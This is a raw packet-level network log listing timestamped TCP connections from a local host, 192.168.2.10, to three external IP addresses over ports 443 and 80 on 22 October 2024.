Oct 22, 2024 16:04:17.991677999 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.991715908 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.998456001 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.998636961 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.998646021 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.998692036 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.002883911 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.002945900 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.002965927 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.003022909 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.049160004 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.049251080 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.049293995 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.049293041 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.049334049 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.049350023 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.049357891 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.049371958 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.049514055 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.049571037 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.049577951 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.049621105 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.049628019 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.049673080 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.049678087 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.049717903 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.050282001 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.050332069 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.050338984 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.050383091 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.050390005 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.050409079 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.050438881 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.050472021 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.050479889 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.050530910 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.050537109 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.050576925 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.051220894 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.051275969 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.051282883 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.051328897 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.051558971 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.051609039 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.051711082 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.051767111 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.056520939 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.056593895 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.056602001 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.056642056 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.061373949 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.061439037 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.061455965 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.061503887 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.064501047 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.064559937 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.064568996 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.064608097 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.067605019 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.067657948 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.067666054 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.067701101 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.070844889 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.070920944 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.070936918 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.071017981 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.073378086 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.073437929 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.073448896 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.073641062 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.076277971 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.076340914 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.076349974 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.076387882 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.079202890 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.079268932 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.079302073 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.079355955 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.082144022 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.082211971 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.082231998 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.082340956 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.085167885 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.085253954 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.085274935 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.085319042 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.087872028 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.087932110 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.087944031 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.087984085 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.090792894 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.090850115 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.090859890 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.090908051 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.093631029 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.093698025 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.093713999 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.093760014 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.096312046 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.096386909 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.096395969 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.096440077 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.099129915 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.099196911 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.099205971 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.099253893 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.101898909 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.101962090 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.101973057 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.102014065 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.102195978 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.102241993 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.104357958 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.104418993 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.104424953 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.104466915 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.108422995 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.108489990 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.108499050 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.108549118 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.109937906 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.109987020 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.109992027 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.110032082 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.112593889 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.112646103 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.112653017 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.112689018 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.115536928 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.115618944 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.116636038 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.116689920 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.117799997 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.117850065 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.117856026 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.117898941 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.120507002 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.120569944 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.120574951 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.120637894 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.123441935 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.123493910 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.123500109 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.123541117 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.125330925 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.125384092 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.125389099 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.125426054 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.127824068 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.127882957 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.127887011 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.127924919 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.130131960 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.130186081 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.130191088 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.130230904 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.132647991 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.132700920 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.132705927 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.132744074 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.132747889 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.132790089 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.135308981 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.135375023 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.135381937 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.135423899 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.137444973 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.137511015 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.137516022 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.137552023 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.139753103 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.139799118 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.139823914 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.139859915 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.168385983 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.168469906 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.168508053 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.168519974 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.168554068 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.168567896 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.168576956 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.168596029 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.168600082 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.168637991 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.168642044 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.168647051 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.168674946 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.168683052 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.168718100 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.168721914 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.168759108 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.168762922 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.168798923 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.169234991 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.169291973 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.169297934 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.169341087 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.169344902 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.169385910 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.169389963 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.169435024 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.169687986 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.169727087 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.169743061 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.169779062 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.169785023 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.169827938 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.169833899 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.169872046 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.169888973 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.169926882 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.169930935 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.169966936 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.170006990 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.170042992 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.170584917 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.170635939 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.170641899 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.170685053 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.170690060 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.170733929 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.170965910 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.171009064 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.171026945 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.171066046 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.171780109 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.171825886 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.171832085 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.171869993 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.173998117 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.174057007 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.174063921 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.174103975 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.176069975 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.176131964 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.176137924 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.176178932 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.180660009 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.180720091 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.180727959 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.180777073 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.181559086 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.181608915 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.181613922 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.181655884 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.183769941 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.183830023 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.183836937 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.183877945 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.185708046 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.185760021 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.185765982 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.185805082 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.187896967 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.187979937 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.187999010 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.188045025 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.189482927 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.189551115 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.189558983 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.189598083 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.191308975 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.191394091 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.191400051 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.191435099 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.193331957 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.193382025 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.193388939 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.193424940 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.195111990 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.195168018 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.195174932 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.195209026 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.196928978 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.196983099 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.196991920 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.197022915 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.199018955 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.199093103 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.199116945 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.199162960 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.200634956 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.200700998 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.200725079 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.200778008 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.202397108 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.202464104 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.202478886 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.202527046 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.215329885 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.215476036 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:18.215543985 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:18.460906982 CEST	49711	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:18.466300011 CEST	80	49711	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:18.466413975 CEST	49711	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:18.466597080 CEST	49711	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:18.471919060 CEST	80	49711	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:19.138335943 CEST	80	49711	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:19.142839909 CEST	49711	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:19.148220062 CEST	80	49711	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:19.301644087 CEST	80	49711	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:19.358398914 CEST	49711	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:19.800456047 CEST	49712	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:19.800501108 CEST	443	49712	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:19.800569057 CEST	49712	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:19.802503109 CEST	49712	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:19.802522898 CEST	443	49712	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:20.428121090 CEST	443	49712	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:20.428297997 CEST	49712	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:20.431576014 CEST	49712	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:20.431587934 CEST	443	49712	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:20.431973934 CEST	443	49712	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:20.435756922 CEST	49712	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:20.479377031 CEST	443	49712	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:20.586904049 CEST	443	49712	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:20.587133884 CEST	443	49712	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:20.587224960 CEST	49712	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:20.592607975 CEST	49712	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:20.598944902 CEST	49711	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:20.604583979 CEST	80	49711	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:20.758388996 CEST	80	49711	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:20.762573004 CEST	49713	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:20.762617111 CEST	443	49713	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:20.762960911 CEST	49713	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:20.762960911 CEST	49713	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:20.763005018 CEST	443	49713	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:20.811575890 CEST	49711	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:21.371479034 CEST	443	49713	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:21.373570919 CEST	49713	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:21.373591900 CEST	443	49713	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:21.520222902 CEST	443	49713	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:21.520347118 CEST	443	49713	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:21.520410061 CEST	49713	443	192.168.2.10	188.114.97.3
